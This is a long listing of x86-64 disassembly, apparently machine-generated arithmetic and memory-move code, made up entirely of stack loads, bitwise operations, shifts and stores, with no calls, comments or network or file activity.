mov rax, qword [rax]
mov rcx, qword [rsp + 0x55a8]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x51d0]
mov qword [rcx], rax
mov eax, dword [0x140178e6c]
mov dword [rsp + 0x2f00], eax
mov rax, qword [rsp + 0x4fe8]
mov rcx, qword [rsp + 0x72f0]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x7000], rax
mov eax, dword [rsp + 0x2c50]
mov dword [rsp + 0x2f04], eax
movsx eax, word [rsp + 0xbf4]
mov rcx, qword [rsp + 0x7770]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa38], ax
lea rax, [rsp + 0x72]
mov qword [0x14017a5e0], rax
lea rax, [rsp + 0x858]
mov qword [rsp + 0x7780], rax
movsx eax, byte [rsp + 0x74]
movsx ecx, byte [rsp + 0x186]
add eax, ecx
mov byte [rsp + 0x9e], al
mov rax, qword [0x14017a430]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x5ab8]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xbec], ax
lea rax, [rsp + 0x59f0]
mov qword [rsp + 0x7788], rax
mov rax, qword [rsp + 0x6f78]
mov ecx, dword [0x14017a060]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2e40], eax
mov rax, qword [rsp + 0x6a08]
mov qword [rsp + 0x7790], rax
mov eax, dword [rsp + 0x29e4]
mov ecx, dword [rsp + 0x2e54]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e80], eax
mov rax, qword [rsp + 0x5d30]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5ed0]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x4ba0]
mov byte [rcx], al
mov rax, qword [rsp + 0x55a0]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x184]
or eax, ecx
mov byte [0x14017a192], al
lea rax, [rsp + 0xb50]
mov qword [rsp + 0x7798], rax
movsx eax, word [rsp + 0xbbc]
mov rcx, qword [rsp + 0x6ca8]
movsx ecx, word [rcx]
shl eax, cl
mov rcx, qword [rsp + 0x7488]
mov word [rcx], ax
lea rax, [rsp + 0x57]
mov qword [rsp + 0x77a0], rax
movzx eax, byte [rsp + 0x128]
movzx ecx, byte [rsp + 0x86]
sar eax, cl
mov rcx, qword [rsp + 0x7758]
mov byte [rcx], al
mov rax, qword [rsp + 0x6768]
mov ecx, dword [0x140178e8c]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x64f0]
mov dword [rcx], eax
lea rax, [rsp + 0x6738]
mov qword [rsp + 0x77a8], rax
mov rax, qword [rsp + 0x5368]
mov ecx, dword [rsp + 0x2a98]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b20], eax
lea rax, [rsp + 0x5178]
mov qword [rsp + 0x77b0], rax
movzx eax, byte [rsp + 0x19c]
mov byte [0x14017a194], al
movzx eax, word [rsp + 0xcf8]
movzx ecx, word [rsp + 0xca8]
sub eax, ecx
mov rcx, qword [rsp + 0x6268]
mov word [rcx], ax
lea rax, [rsp + 0x868]
mov qword [rsp + 0x77b8], rax
movzx eax, byte [rsp + 0x163]
mov rcx, qword [rsp + 0x77a0]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x8e], al
movsx eax, word [rsp + 0xcbc]
mov rcx, qword [rsp + 0x64f8]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6528]
mov word [rcx], ax
lea rax, [rsp + 0x6db8]
mov qword [rsp + 0x77c0], rax
mov rax, qword [rsp + 0x5bb0]
mov rcx, qword [rsp + 0x54d8]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x2ddc], eax
mov eax, dword [rsp + 0x2ba0]
mov dword [rsp + 0x2f08], eax
mov rax, qword [rsp + 0x6580]
mov rcx, qword [rsp + 0x6148]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x64c0]
mov qword [rcx], rax
movzx eax, word [rsp + 0xb50]
movzx ecx, word [rsp + 0xc2c]
add eax, ecx
mov word [0x140178f1c], ax
mov rax, qword [rsp + 0x4d38]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x6bd0]
movzx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7278]
mov word [rcx], ax
lea rax, [0x140178e94]
mov qword [rsp + 0x77c8], rax
movzx eax, byte [rsp + 0xbc]
mov rcx, qword [rsp + 0x4f30]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x132], al
movzx eax, byte [rsp + 0x109]
mov byte [rsp + 0x19f], al
mov rax, qword [rsp + 0x61a8]
mov ecx, dword [rsp + 0x2be4]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2c2c], eax
mov rax, qword [rsp + 0x6988]
mov rcx, qword [rsp + 0x7378]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0x4f90]
mov qword [rcx], rax
mov rax, qword [rsp + 0x4c68]
mov rax, qword [rax]
mov qword [rsp + 0x77d0], rax
mov eax, dword [rsp + 0x2c70]
movzx ecx, al
mov eax, dword [rsp + 0x2c98]
shl eax, cl
mov dword [rsp + 0x2e1c], eax
mov rax, qword [rsp + 0x7220]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x14a]
sar eax, cl
mov byte [str.YE_a], al
lea rax, [rsp + 0x93c]
mov qword [rsp + 0x77d8], rax
mov rax, qword [rsp + 0x5830]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5bc8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0xec], al
mov rax, qword [rsp + 0x68f8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x53a8]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x11c], al
mov rax, qword [rsp + 0x6ef0]
movzx eax, word [rax]
mov word [rsp + 0xd44], ax
mov eax, dword [rsp + 0x2b74]
mov ecx, dword [rsp + 0x2d78]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x75d8]
mov dword [rcx], eax
mov rax, qword [rsp + 0x61f0]
mov qword [rsp + 0x77e0], rax
mov rax, qword [rsp + 0x5a10]
mov rcx, qword [rsp + 0x7368]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov rcx, qword [rsp + 0x69e0]
mov dword [rcx], eax
lea rax, [0x140178e78]
mov qword [rsp + 0x77e8], rax
movzx eax, byte [rsp + 0xa2]
movzx ecx, byte [rsp + 0x103]
sub eax, ecx
mov byte [0x140178ec7], al
mov rax, qword [rsp + 0x6ce8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x159]
add eax, ecx
mov rcx, qword [rsp + 0x6888]
mov byte [rcx], al
movzx eax, word [0x140178f24]
movzx ecx, word [rsp + 0x8d8]
add eax, ecx
mov rcx, qword [rsp + 0x7058]
mov word [rcx], ax
mov rax, qword [rsp + 0x65e8]
movzx eax, word [rax]
mov word [rsp + 0xd48], ax
mov rax, qword [rsp + 0x53a8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x78]
and eax, ecx
mov rcx, qword [rsp + 0x4ff0]
mov byte [rcx], al
mov rax, qword [str.kD3]
mov qword [rsp + 0x77f0], rax
mov rax, qword [rsp + 0x75c0]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2a58]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2aec], eax
mov rax, qword [rsp + 0x7218]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4f40]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x6d30], rax
mov rax, qword [rsp + 0x6f78]
mov eax, dword [rax]
mov dword [rsp + 0x2f0c], eax
mov rax, qword [rsp + 0x76b8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xb04]
shl eax, cl
mov rcx, qword [0x14017a558]
mov word [rcx], ax
mov rax, qword [rsp + 0x7210]
movsx eax, word [rax]
mov rcx, qword [0x14017a548]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xc08], ax
lea rax, [rsp + 0xc98]
mov qword [rsp + 0x77f8], rax
movsx eax, byte [rsp + 0x11e]
movsx ecx, byte [rsp + 0x156]
or eax, ecx
mov byte [rsp + 0x148], al
mov rax, qword [rsp + 0x6970]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x154]
add eax, ecx
mov byte [rsp + 0x158], al
lea rax, [rsp + 0x70c8]
mov qword [rsp + 0x7800], rax
mov eax, dword [rsp + 0x2c80]
mov ecx, dword [rsp + 0x2abc]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x5bd8]
mov dword [rcx], eax
mov eax, dword [rsp + 0x2d84]
mov dword [rsp + 0x2f10], eax
mov rax, qword [rsp + 0x5b78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x52d8]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x5de8], rax
lea rax, [rsp + 0xca0]
mov qword [0x14017a5e8], rax
mov rax, qword [rsp + 0x5688]
movzx eax, byte [rax]
mov byte [rsp + 0x1a0], al
movzx eax, word [rsp + 0xb64]
movzx ecx, word [0x140178f84]
sub eax, ecx
mov rcx, qword [rsp + 0x6bd0]
mov word [rcx], ax
mov rax, qword [rsp + 0x6188]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6298]
movsx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0xc40], ax
mov rax, qword [rsp + 0x5c58]
movzx eax, byte [rax]
mov byte [rsp + 0x1a1], al
mov eax, dword [rsp + 0x2af0]
mov ecx, dword [rsp + 0x2970]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2bac], eax
mov eax, dword [rsp + 0x2ba0]
mov dword [rsp + 0x2f14], eax
mov rax, qword [rsp + 0x5078]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x74f8]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x71a8], rax
mov rax, qword [rsp + 0x57f8]
mov rcx, qword [rsp + 0x7020]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x6890], rax
mov rax, qword [rsp + 0x59e8]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x6a50]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [0x14017a590]
mov word [rcx], ax
mov rax, qword [rsp + 0x5468]
movzx eax, byte [rax]
mov byte [rsp + 0x1a2], al
movsx eax, byte [rsp + 0x141]
mov rcx, qword [rsp + 0x74a8]
movsx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x122], al
movzx eax, word [rsp + 0xab4]
mov word [rsp + 0xd4c], ax
movzx eax, byte [rsp + 0x102]
movzx ecx, byte [rsp + 0x15e]
or eax, ecx
mov byte [rsp + 0x134], al
mov rax, qword [rsp + 0x5580]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [0x140178e8c]
shl eax, cl
mov rcx, qword [rsp + 0x61e0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6858]
mov eax, dword [rax]
mov dword [rsp + 0x2f18], eax
mov rax, qword [rsp + 0x5370]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x70c8]
sar rax, cl
mov qword [rsp + 0x6890], rax
mov rax, qword [rsp + 0x6250]
mov rax, qword [rax]
mov qword [rsp + 0x7808], rax
movzx eax, word [rsp + 0x898]
movzx ecx, word [rsp + 0xbcc]
xor eax, ecx
mov word [rsp + 0x8c4], ax
lea rax, [rsp + 0x944]
mov qword [0x14017a5f0], rax
mov rax, qword [0x14017a490]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x65b0]
movsx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x122], al
movzx eax, byte [rsp + 0x143]
mov byte [rsp + 0x1a3], al
mov rax, qword [rsp + 0x4fe0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x86c]
add eax, ecx
mov word [rsp + 0x8e0], ax
mov rax, qword [str.kD3]
mov qword [rsp + 0x7810], rax
mov rax, qword [rsp + 0x5e98]
mov ecx, dword [rsp + 0x2cd0]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x2ca4], eax
mov eax, dword [rsp + 0x2aa0]
mov dword [rsp + 0x2f1c], eax
mov rax, qword [rsp + 0x4fe8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x58a0]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x6078], rax
movsx eax, byte [rsp + 0xfc]
mov rcx, qword [rsp + 0x5fa8]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x142], al
mov rax, qword [rsp + 0x6e00]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7430]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [0x140178ec2], al
lea rax, [rsp + 0x888]
mov qword [rsp + 0x7818], rax
movsx eax, word [rsp + 0xc48]
movsx ecx, word [rsp + 0x8f0]
sub eax, ecx
mov word [rsp + 0x920], ax
lea rax, [rsp + 0xcf]
mov qword [rsp + 0x7820], rax
mov rax, qword [rsp + 0x4f90]
mov rcx, qword [rsp + 0x5f98]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x5570], rax
mov rax, qword [rsp + 0x5220]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2b50]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x7408]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5e30]
mov qword [rsp + 0x7828], rax
mov rax, qword [rsp + 0x5398]
mov eax, dword [rax]
mov ecx, dword [0x140178e6c]
add ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x6158]
mov dword [rcx], eax
lea rax, [rsp + 0x72]
mov qword [rsp + 0x7830], rax
lea rax, [rsp + 0x9d4]
mov qword [0x14017a5f8], rax
mov rax, qword [rsp + 0x6628]
movzx eax, byte [rax]
movzx ecx, byte [0x140178e93]
sub eax, ecx
mov rcx, qword [rsp + 0x5c88]
mov byte [rcx], al
movsx eax, byte [rsp + 0x65]
movsx ecx, byte [rsp + 0x85]
xor eax, ecx
mov byte [rsp + 0xc6], al
lea rax, [rsp + 0x8f8]
mov qword [rsp + 0x7838], rax
mov eax, dword [0x140178e8c]
mov ecx, dword [rsp + 0x2ee0]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x2b38], eax
lea rax, [rsp + 0x2dc8]
mov qword [rsp + 0x7840], rax
mov rax, qword [rsp + 0x5cc0]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x6758]
shr rax, cl
mov qword [rsp + 0x6db8], rax
mov rax, qword [rsp + 0x6750]
mov rcx, qword [rsp + 0x6228]
mov qword [rsp + 0x7848], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7848]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x7080], rax
movzx eax, byte [rsp + 0xc0]
mov byte [rsp + 0x1a4], al
lea rax, [rsp + 0xc0c]
mov qword [0x14017a600], rax
movzx eax, word [rsp + 0xb90]
mov rcx, qword [rsp + 0x5ab8]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xb64], ax
lea rax, [rsp + 0x1a3]
mov qword [rsp + 0x7850], rax
mov rax, qword [rsp + 0x7210]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x9e8]
sub eax, ecx
mov word [rsp + 0xcc8], ax
mov rax, qword [rsp + 0x5640]
movzx eax, word [rax]
mov word [rsp + 0xd50], ax
mov rax, qword [rsp + 0x72a0]
mov rcx, qword [rsp + 0x6098]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b6c], eax
mov rax, qword [rsp + 0x53f8]
mov rcx, qword [rsp + 0x4b30]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7198]
mov qword [rcx], rax
mov eax, dword [rsp + 0x2a4c]
mov dword [rsp + 0x2f20], eax
mov rax, qword [rsp + 0x51c0]
mov rax, qword [rax]
mov rcx, qword [0x14017a058]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x4ac8], rax
mov rax, qword [rsp + 0x5a80]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x5fa0]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a138]
mov byte [rcx], al
lea rax, [rsp + 0x145]
mov qword [rsp + 0x7858], rax
movsx eax, word [rsp + 0xc44]
movsx ecx, word [rsp + 0x9e0]
add eax, ecx
mov rcx, qword [rsp + 0x4c60]
mov word [rcx], ax
movsx eax, word [rsp + 0xabc]
mov rcx, qword [rsp + 0x5868]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x9f8], ax
lea rax, [0x14017a146]
mov qword [rsp + 0x7860], rax
mov rax, qword [rsp + 0x5348]
mov rcx, qword [rsp + 0x6890]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x56a0], rax
lea rax, [rsp + 0x2e88]
mov qword [rsp + 0x7868], rax
mov eax, dword [0x14017a060]
mov ecx, dword [rsp + 0x2af0]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d1c], eax
mov rax, qword [rsp + 0x6a98]
mov rcx, qword [rsp + 0x5b60]
mov qword [rsp + 0x7870], rcx
movzx ecx, al
mov rax, qword [rsp + 0x7870]
mov rax, qword [rax]
shr rax, cl
mov rcx, qword [rsp + 0x66f0]
mov qword [rcx], rax
lea rax, [rsp + 0x19e]
mov qword [0x14017a608], rax
lea rax, [rsp + 0x8ac]
mov qword [rsp + 0x7878], rax
movsx eax, byte [0x140178eda]
mov rcx, qword [rsp + 0x53a8]
movsx ecx, byte [rcx]
or eax, ecx
mov rcx, qword [rsp + 0x6900]
mov byte [rcx], al
movzx eax, byte [rsp + 0x7a]
mov byte [rsp + 0x1a5], al
movzx eax, word [rsp + 0xb50]
movzx ecx, word [rsp + 0xa90]
shl eax, cl
mov word [rsp + 0xb0c], ax
lea rax, [rsp + 0x2b78]
mov qword [rsp + 0x7880], rax
mov rax, qword [rsp + 0x5348]
mov rcx, qword [rsp + 0x52f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7238], rax
mov eax, dword [rsp + 0x2ca0]
mov ecx, dword [rsp + 0x2d94]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2d2c], eax
lea rax, [rsp + 0x56f0]
mov qword [rsp + 0x7888], rax
mov rax, qword [rsp + 0x7860]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6090]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [0x14017a490]
mov byte [rcx], al
movzx eax, word [rsp + 0xbac]
movzx ecx, word [rsp + 0xd20]
sub eax, ecx
mov word [rsp + 0x9f4], ax
mov rax, qword [rsp + 0x5980]
movzx eax, word [rax]
mov word [rsp + 0xd54], ax
movzx eax, byte [rsp + 0xf5]
mov rcx, qword [rsp + 0x6c88]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0xb8], al
movsx eax, word [rsp + 0x8a0]
movsx ecx, word [0x140178ed8]
and eax, ecx
mov rcx, qword [rsp + 0x6290]
mov word [rcx], ax
lea rax, [rsp + 0x6de8]
mov qword [rsp + 0x7890], rax
mov rax, qword [rsp + 0x5b00]
mov ecx, dword [rsp + 0x2e64]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x29c4], eax
lea rax, [0x14017a064]
mov qword [rsp + 0x7898], rax
mov rax, qword [rsp + 0x6210]
mov rcx, qword [rsp + 0x7618]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x5638], rax
mov rax, qword [rsp + 0x6c28]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x67a0]
movzx ecx, word [rcx]
add eax, ecx
mov word [0x140178e9c], ax
movsx eax, word [0x140178ec0]
mov rcx, qword [rsp + 0x7488]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x4e48]
mov word [rcx], ax
mov rax, qword [rsp + 0x6878]
movzx eax, byte [rax]
mov byte [rsp + 0x1a6], al
mov rax, qword [rsp + 0x6488]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x64e0]
movsx ecx, byte [rcx]
or eax, ecx
mov byte [rsp + 0x115], al
mov rax, qword [rsp + 0x7878]
movzx eax, word [rax]
mov word [rsp + 0xd58], ax
mov rax, qword [rsp + 0x50f0]
movzx ecx, al
mov rax, qword [rsp + 0x5b38]
shr rax, cl
mov qword [rsp + 0x5140], rax
mov rax, qword [rsp + 0x6de8]
mov rcx, qword [rsp + 0x5890]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x55c0]
mov qword [rcx], rax
mov rax, qword [rsp + 0x6060]
mov eax, dword [rax]
mov dword [rsp + 0x2f24], eax
mov rax, qword [rsp + 0x65e0]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x4aa8]
mov qword [rsp + 0x78a0], rcx
movzx ecx, al
mov rax, qword [rsp + 0x78a0]
mov eax, dword [rax]
shl eax, cl
mov dword [rsp + 0x2c20], eax
movzx eax, word [rsp + 0xa68]
movzx ecx, word [rsp + 0xaac]
and eax, ecx
mov word [0x140178f90], ax
mov rax, qword [rsp + 0x7508]
movzx eax, byte [rax]
mov byte [rsp + 0x1a7], al
movsx eax, word [rsp + 0xbf0]
movsx ecx, word [rsp + 0xd0c]
sub eax, ecx
mov rcx, qword [rsp + 0x73d8]
mov word [rcx], ax
movzx eax, byte [rsp + 0x86]
mov byte [rsp + 0x1a8], al
movsx eax, byte [rsp + 0x94]
mov rcx, qword [rsp + 0x7820]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x6b20]
mov byte [rcx], al
mov eax, dword [rsp + 0x29f0]
mov ecx, dword [rsp + 0x2b88]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2de8], eax
lea rax, [rsp + 0x6f38]
mov qword [rsp + 0x78a8], rax
mov rax, qword [rsp + 0x7638]
mov rcx, qword [0x140178e60]
sub rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x7250]
mov qword [rcx], rax
lea rax, [rsp + 0x2df0]
mov qword [rsp + 0x78b0], rax
mov rax, qword [rsp + 0x5468]
movzx eax, byte [rax]
mov byte [0x14017a195], al
mov rax, qword [rsp + 0x5d70]
movsx eax, word [rax]
mov rcx, qword [rsp + 0x4eb8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xcc4], ax
mov rax, qword [rsp + 0x5be0]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x7668]
movzx ecx, byte [rcx]
and eax, ecx
mov byte [rsp + 0x54], al
mov rax, qword [rsp + 0x71e0]
movzx eax, byte [rax]
mov byte [rsp + 0x1a9], al
movzx eax, word [rsp + 0xd20]
movzx ecx, word [0x14017a260]
add eax, ecx
mov rcx, qword [rsp + 0x76b8]
mov word [rcx], ax
lea rax, [rsp + 0x2d4c]
mov qword [rsp + 0x78b8], rax
mov rax, qword [rsp + 0x6308]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x6ae0]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7378], rax
mov rax, qword [rsp + 0x7218]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x4b30]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x6418]
mov qword [rcx], rax
lea rax, [rsp + 0x2ce8]
mov qword [rsp + 0x78c0], rax
mov rax, qword [rsp + 0x6ab8]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0xbe]
xor eax, ecx
mov byte [0x140178ed6], al
mov rax, qword [rsp + 0x4e90]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x6c88]
movzx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0xb0], al
mov rax, qword [rsp + 0x5780]
movzx eax, word [rax]
mov word [rsp + 0xd5c], ax
mov rax, qword [rsp + 0x6fc8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xaf8]
or eax, ecx
mov word [rsp + 0xadc], ax
lea rax, [0x14017a0e0]
mov qword [rsp + 0x78c8], rax
mov rax, qword [rsp + 0x65e0]
mov eax, dword [rax]
movzx ecx, al
mov eax, dword [rsp + 0x2d70]
shl eax, cl
mov rcx, qword [rsp + 0x63d0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x7268]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x53f8]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x6438], rax
lea rax, [rsp + 0x2eb4]
mov qword [rsp + 0x78d0], rax
mov rax, qword [rsp + 0x5bc0]
mov rcx, qword [rsp + 0x6760]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x4b78], rax
movzx eax, byte [rsp + 0x83]
mov byte [rsp + 0x1aa], al
mov rax, qword [0x14017a0a8]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x6488]
movsx ecx, byte [rcx]
add eax, ecx
mov rcx, qword [0x14017a128]
mov byte [rcx], al
mov rax, qword [rsp + 0x7058]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xcf0]
add eax, ecx
mov rcx, qword [rsp + 0x5d78]
mov word [rcx], ax
mov rax, qword [rsp + 0x4e48]
movsx eax, word [rax]
mov rcx, qword [0x14017a390]
movsx ecx, word [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0x7770]
mov word [rcx], ax
movzx eax, byte [rsp + 0x71]
mov byte [rsp + 0x1ab], al
mov rax, qword [rsp + 0x63b0]
mov rcx, qword [rsp + 0x4f08]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov dword [rsp + 0x2b08], eax
lea rax, [rsp + 0x51e8]
mov qword [rsp + 0x78d8], rax
mov rax, qword [rsp + 0x68c0]
mov rcx, qword [str.kD3]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x4f78], rax
mov rax, qword [rsp + 0x6e28]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2d58]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x62d8]
mov dword [rcx], eax
lea rax, [rsp + 0xc0c]
mov qword [rsp + 0x78e0], rax
lea rax, [rsp + 0x107]
mov qword [0x14017a610], rax
mov rax, qword [rsp + 0x5bf0]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xb3c]
sub eax, ecx
mov word [rsp + 0x8f0], ax
mov rax, qword [rsp + 0x5f80]
movzx eax, word [rax]
mov word [rsp + 0xd60], ax
movzx eax, word [rsp + 0xd2c]
mov rcx, qword [rsp + 0x71f0]
movzx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0xbf8], ax
mov eax, dword [rsp + 0x2b38]
mov rcx, qword [rsp + 0x75c0]
mov qword [rsp + 0x78e8], rcx
movzx ecx, al
mov rax, qword [rsp + 0x78e8]
mov eax, dword [rax]
shl eax, cl
mov rcx, qword [rsp + 0x72b0]
mov dword [rcx], eax
mov rax, qword [rsp + 0x5940]
mov qword [rsp + 0x78f0], rax
mov rax, qword [rsp + 0x6530]
mov ecx, dword [rsp + 0x2c6c]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x2ee8], eax
mov rax, qword [rsp + 0x68e0]
mov qword [rsp + 0x78f8], rax
mov rax, qword [rsp + 0x6130]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x76e8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0x62a0]
mov byte [rcx], al
lea rax, [0x140178ec3]
mov qword [0x14017a618], rax
movzx eax, word [rsp + 0xa68]
mov word [rsp + 0xd64], ax
movsx eax, byte [rsp + 0x1a9]
mov rcx, qword [rsp + 0x7728]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x165], al
movsx eax, word [rsp + 0xc68]
movsx ecx, word [0x140178f10]
and eax, ecx
mov rcx, qword [rsp + 0x6350]
mov word [rcx], ax
mov eax, dword [rsp + 0x2e54]
mov dword [rsp + 0x2f28], eax
mov rax, qword [rsp + 0x7240]
mov rcx, qword [rsp + 0x6d80]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov rcx, qword [rsp + 0x5aa8]
mov qword [rcx], rax
mov rax, qword [0x140178e78]
mov qword [rsp + 0x7900], rax
mov eax, dword [rsp + 0x2e24]
mov ecx, dword [rsp + 0x2bc0]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x2e40], eax
mov rax, qword [rsp + 0x5298]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x95c]
add eax, ecx
mov rcx, qword [rsp + 0x5f80]
mov word [rcx], ax
mov rax, qword [rsp + 0x7860]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x52]
add eax, ecx
mov byte [0x140178ebe], al
movzx eax, word [rsp + 0xcc8]
mov word [rsp + 0xd68], ax
movzx eax, byte [rsp + 0x196]
mov rcx, qword [rsp + 0x6490]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x8f], al
mov rax, qword [0x14017a3e8]
movzx eax, byte [rax]
mov byte [rsp + 0x1ac], al
mov rax, qword [rsp + 0x7460]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xbe8]
add eax, ecx
mov word [rsp + 0x8c8], ax
mov rax, qword [rsp + 0x5e98]
mov rcx, qword [rsp + 0x6470]
mov ecx, dword [rcx]
mov eax, dword [rax]
sub eax, ecx
mov rcx, qword [rsp + 0x6790]
mov dword [rcx], eax
mov rax, qword [rsp + 0x6538]
mov qword [rsp + 0x7908], rax
mov rax, qword [rsp + 0x55d8]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x2cb8]
and ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x4e98]
mov dword [rcx], eax
lea rax, [rsp + 0x54a0]
mov qword [rsp + 0x7910], rax
